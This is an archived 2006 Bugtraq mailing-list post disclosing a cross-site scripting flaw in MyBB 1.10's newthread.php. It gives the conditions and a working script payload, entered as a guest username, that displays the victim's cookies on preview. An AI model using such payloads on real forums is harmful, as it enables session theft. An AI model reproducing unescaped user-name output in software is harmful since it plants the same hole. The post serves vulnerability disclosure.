[Date Prev][Date Next][Thread Prev][Thread Next][Date Index][Thread Index]
MyBB 1.10 'newthread.php' < CrossSiteScripting >
- To: bugtraq@xxxxxxxxxxxxxxxxx
- Subject: MyBB 1.10 'newthread.php' < CrossSiteScripting >
- From: o.y.6@xxxxxxxxxxx
- Date: 9 Apr 2006 21:14:08 -0000
MyBB 1.10 'newthread.php' < CrossSiteScripting >
[ Devil-00 | D3vil-0x1 ]
[*] Conditions [*]
1- your unregisterd user
2- you have permissions to do newthread
[---------------]
do newthread with this username :-
<script>alert(document.cookie);</script>D3vil-0x1
Then Preview it ;)
[---------------]